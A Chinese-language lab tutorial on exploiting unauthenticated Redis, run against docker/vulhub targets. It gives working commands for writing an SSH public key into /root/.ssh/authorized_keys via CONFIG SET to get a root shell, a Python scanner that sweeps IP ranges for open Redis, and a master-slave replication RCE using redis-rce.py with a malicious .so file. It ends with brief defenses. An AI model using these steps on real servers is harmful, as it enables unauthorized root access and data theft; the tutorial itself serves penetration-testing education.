未授权访问漏洞可以理解为安全配置、权限认证、授权页面存在缺陷,导致其他用户可以直接访问,从而引发权限可被操作,数据库、网站目录等敏感信息泄露。目前存在未授权访问漏洞的主要服务包括:NFS、Samba、LDAP、Rsync、FTP、GitLab、Jenkins、MongoDB、Redis、ZooKeeper、ElasticSearch、Memcache、CouchDB、Docker、Solr、Hadoop 等,使用时要注意。

Redis 未授权访问漏洞

Redis 是一种使用 ANSIC 语言编写的开源 Key-Value 型数据库。与 Memcache 相似,支持存储的 value 类型有很多种,其中包括 String(字符串)、List(链表)、Set(集合)、Zste(有序集合)、Hash(哈希)等。同时,Redis 还支持不同的排序方式。Redis 为了保证效率,将数据缓存在内存中,周期性地把更新的数据写入磁盘或者把修改操作写入追加的记录文件中,,在此基础上实现主从同步。

对 Redis 配置不当将会导致未授权访问漏洞,,从而被攻击者恶意利用。在特定条件下,如果 Redis 以 root 身份运行,攻击者可以用 root 权限的身份写入 SSH 公钥文件,通过 SSH 登录目标服务器。流程如下:

密钥验证登录客户端生成公钥和私钥,将公钥提前部署在服务器上。
客户端发起连接请求。
服务器随机生成一个字符串,用本地的公钥加密,发送给客户端。
客户端通过私钥解密,将解密后的字符串发送给服务器。
服务器验证本地字符串和客户端发来的字符串的一致性,如果通过,则认证成功。

进而会导致服务器权限被获取、泄露或发生加密勒索事件,为正常服务带来严重危害。通常,服务器上的 Redis 绑定在 0.0.0.0:6379,如果没有开启认证功能,且没有采用相关的安全策略,比如添加防火墙规则避免其他非信任来源 IP 访问等,将会导致 Redis 服务直接暴露在公网上,造成其他用户直接在非授权情况下访问 Redis 服务。

通过手工进行未授权访问验证,在安装 Redis 服务的 Kali 系统中输入

1
redis-cli-h IP

如果目标系统存在未授权访问漏洞,则可以成功进行连接。输入 info 命令,可以查看 Redis 服务的版本号、配置文件目录、进程 ID 号等

漏洞利用

当与远程 Redis 建立好连接后,通过 Redis 指令就能查询所需要的敏感信息。下面就 Redis 一些常用指令进行简单介绍:

1
2
3
4
查看key和其对应的值:keys *
获取用户名:get user
获取登录指令:get password
删除所有数据:flushall

如果 redis 拥有 root 权限,那么攻击者就可以将自己的公钥写入目标服务器的
/root/.ssh 文件夹的 authotrized_keys 文件中,进而可以直接登录目标服务器。

接下来就拉取镜像实现 ssh 登录

1
sudo docker pull medicean/vulapps:r_redis_1

拉取 docker 镜像,并且启动环境

1
sudo docker run --name=redisvul -d -p 22:22 -p 6379:6379 medicean/vulapps:r_redis_1

这里由于是 docker 中的镜像,因此只能使用这一台机子来作为攻击机,因为 docker 中生成的一个虚拟网卡只能本机来进行访问,其他机子访问不了,既然本机作为攻击机,就先查看下本机的 ip

1
ifconfig

再查看下 docker 中该容器的 ID

这里查看到我的容器 ID 为 9a4fe89bc623,接下来查看 docker 的 ip,通过命令

1
sudo docker exec -it 容器id /bin/bash

进入 docker,通过

1
cat /etc/hosts

来查看 ip

这样攻击机和靶机的 ip 都知道了,接着就是利用 redis 未授权访问漏洞写入公钥进行连接了

先同样测试一下 redis

1
redis-cli -h IP

redis 未授权证明成功,接下来本地生成公钥进行传输

(建议接下来全程用 root 用户操作,能够减少权限不够的报错)

1
ssh-keygen -t rsa

三个问题直接回车就好,overwrite 是因为我之前进行生成过,询问是否覆盖,公钥生成完毕,将生成的公钥的值写入目标机当中

1
2
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
cat /tmp/foo.txt | redis-cli -h IP -p 6379 -x set crackit

连接目标

1
redis-cli -h IP -p 6379 

设置(更改)目录为 /root/.ssh,并将备份文件名设置为 authorized_keys

1
2
3
4
config set dir /root/.ssh/
config get dir
config set dbfilename "authorized_keys"
save

最后利用私钥通过 ssh 连接目标

1
ssh root@IP -i ~/.ssh/id_rsa

连接成功,同样的命令 cat /etc/hosts 查看 ip

能看到成功 getshell 并且是 root 权限

这里提一嘴,如果是用两台机子也可以,但有可能会出现虽然能对拉镜像的机子进行 redis 的连接,并且成功写入,但是 ssh 连不上的情况。这是因为 22 端口没进行映射,6379 端口是自动进行映射了,所以到最后一步 ssh 连接才会不成功

接下来介绍怎么通过 python 脚本批量检测 redis 未授权访问漏洞

先编写起始部分,类似于 C 语言中的 main () 函数,执行过程中没有发生异常时,执行定义的 start () 函数。通过 sys.argv [] 实现对外部指令的接收。其中,sys.argv [0] 代表代码本身的文件路径,sys.argv [1:] 表示从第一个命令行参数到输入的最后一个命令行参数,存储形式为 List 类型:

1
2
3
4
5
if __name__ == '__main__':
try:
start(sys.argv[1:])
except KeyboardInterrupt:
print("interrupted by user,killing all threads...")

编写命令行参数处理功能。此处主要应用 getopt.getopt () 函数处理命令行参数,该函数目前有短选项和长选项两种格式。短选项格式为 "-" 加上单个字母选项;长选项格式为 "--" 加上一个单词选项。opts 为一个两元组列表,每个元素为(选项串,附加参数)。如果没有附加参数则为空串。之后通过 for 循环输出 opts 列表中的数值并赋值给自己定义的变量:
接下来部分主要用于输出帮助信息,增加代码工具的可读性和易用性。为了使输出的信息更加美观简洁,可以通过转义字符设置输出字体的颜色,从而实现需要的效果。开头部分包含三个参数:显示方式、前景色、背景色。这三个参数是可选的,可以只写其中的某一个参数。对于结尾部分,可以省略,但是为了书写规范,建议以 \033 [0m 结尾

1
2
3
4
5
6
7
8
9
10
11
12
# banner信息
def banner():
print('\033[1;34m#################################################\033[1;32mTT_xxxxx\033['
'1;34m##############################################################\033[0m\n')

# 使用规则
def usage():
print('-h: --help 帮助;')
print('-p: --port 端口;')
print('-u: --url 域名;')
print('-s: --type Redis')
sys.exit()

输出有关该脚本用法的帮助信息,即可执行的参数指令以及对应的功能简介。当然,此处也可以根据自己的喜好设置输出不同类型的字体颜色或者图案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def start(argv):
thread = 1
dict = {}
utl = ''
type = ""
if len(sys.argv) < 2: # 程序外部获取参数的桥梁
print('-h 帮助信息;\n')
sys.exit()
try:
banner()
opts, args = getopt.getopt(argv, '-u:-p:-s:-h')
except getopt.GetoptError:
print('Error an argument!')
sys.exit()
for opt, arg in opts:
if opt == '-u':
url = arg
elif opt == '-s':
type = arg
elif opt == '-p':
port = arg
elif opt == '-h':
print(usage())
launcher(url, type, port)

def launcher(url, type, port):
if type == 'Redis':
output = redis_unathored(url_exec(url), port)
output_exec(output, type)

接下来就是 redis 未授权访问检测脚本的核心部分,根据命令行输入端写入的 IP 或 IP 范围,通过 for 语句循环输出
。此处通过 socket () 函数尝试连接远程主机的 IP 及端口号,发送 payload 字符串。利用 rcvdata () 函数接收目标主机返回的数据,当时返回的数据含有 'redis
version' 字符串时,表明存在未授权访问漏洞,否则不存在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def redis_unathored(url, port):
result = []
s = socket.socket() # 创建socket
payload = "\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a"
socket.setdefaulttimeout(10) # 限制时间

for ip in url:
try:
s.connect((ip, int(port))) # 进行发送
s.sendall(payload.encode()) # 判断每次发送的内容量,删除重合
resves = s.recv(1024).decode() # 创建存储
if resves and 'redis_version' in resves:
result.append(str(ip) + ":" + str(port) + ':' + '\033[1;32;40msuccess\033[0m')
except:
pass
result.append(str(ip) + ':' + str(port) + ':' + '\033[1;31;40mfailed \033[0m')
s.close()
return (result)

接下来针对 IP 区段内的网络主机进行未授权访问检测,在进行内网渗透测试的过程中,由于输入单个 IP 地址进行测试较为复杂,因此有必要进行 IP 段段内检测。该部分代码主要以特殊字符 "-" 为目标字符进行分隔,将分隔后的字符进行 for 循环存入列表中,以便被函数 redis_unauthored () 调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
def url_list(li):
ss = []
i = 0
j = 0
zi = []
for s in li:
a = s.find('-')
i = i + 1
if a != -1:
ss = s.rsplit("-")
j = i
break
for s in range(int(ss[0]), int(ss[1]) + 1):
li[j - 1] = str(s)
aa = '.'.join(li)
zi.append(aa)
return zi



def url_exec(url):
i = 0
zi = []
group = []
group1 = []
group2 = []
li = url.split('.')
if (url.find('-') == -1):
group.append(url)
zi = group
else:
for s in li:
a = s.find('-')
if a != -1:
i = i + 1
zi = url_list(li)
if i > 1:
for li in zi:
zz = url_list(li.split('.'))
for ki in zz:
group.append(ki)
zi = group
i = i - 1
if i > 1:
for li in zi:
zzz = url_list(li.split('.'))
for ki in zzz:
group1.append(ki)
zi = group1
i = i - 1
if i > 1:
for li in zi:
key = url_list(li.split('.'))
for ki in key:
group2.append(ki)
zi = group2
return zi

设置数据的输出格式,使输出的数据更加美观、简洁,增加可读性。该部分代码的输出字段主要分三段信息,其中包括 IP 地址、端口号、状态信息

1
2
3
4
5
6
7
8
9
def output_exec(output, type):
print("\033[1;32;40m" + type + "......\033[0m")
print("++++++++++++++++++++++++++++++++++++++++++++++++")
print("| ip | port | status |")
for li in output:
print("+-----------------+-----------+--------------+")
print("| " + li.replace(":", " | ") + " | ") # 替换字符串
print("+----------------+------------+---------------+\n")
print("[*] shutting down....")

该脚本的原理比较简单,我们用 redis-cli 连接过的知道,如果存在未授权漏洞那么 info 命令能输出诸多信息,这里就利用了这个方法,发送 info 的 payload,用函数接收回显信息,判断信息中带有的特殊字段,来判断是否存在漏洞
利用主从复制进行 RCE

上面介绍了拥有 root 权限的 redis 怎么拿 shell,但是也有很多时候 redis 不被赋予 root 权限,这时候就需要用到上面所说的主从复制的知识点来进行 RCE

主从模式指使用一个 redis 作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在 Reids
4.x 之后,通过外部拓展,可以实现在 redis 中实现一个新的 Redis 命令,构造恶意.so 文件。在两个 Redis 实例设置主从模式的时候,Redis 的主机实例可以通过 FULLRESYNC 同步文件到从机上。然后在从机上加载恶意 so 文件,即可执行命令。

搭建 vulhub 靶场

1
docker-compose up -d

开启

查看 docker 中启动的进程

1
docker ps -a

这里得到刚才启动的 redis 容器的 ID 为 25137f98e35d

1
docker exec -it 25137f98e35d /bin/bash

进入容器

1
cat /etc/hosts

查看容器 IP

得到容器 IP 为 172.18.0.2,该 IP 就作为目标 ip 也就是靶机来进行攻击,当然也可以以搭建环境的这台虚拟机来作为靶机,因为 6379 端口已经自动映射出去了

接下来先测试连接 redis

成功,接着利用脚本进行主从复制 getshell

工具脚本:

1
2
3
4
5
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand(需要make)
git clone https://github.com/Ridter/redis-rce.git
https://github.com/vulhub/redis-rogue-getshell
https://github.com/jas502n/Redis-RCE
工具下载总结来自:https://blog.51cto.com/u_12343119/5850923

下载完成后进入目录执行脚本并且使用 exp_lin.so 文件

1
python3 ./redis-rce.py -r 172.18.0.2 -p 6379 -L 192.168.40.136 -f exp_lin.so

成功 getshell

redis 防御策略

1. 禁止远程使用高危命令

2. 低权限运行 redis 服务

3. 禁止外网访问 redis

4. 阻止其他用户添加新的公钥,将 authorized_keys 的权限设置为对拥有者只读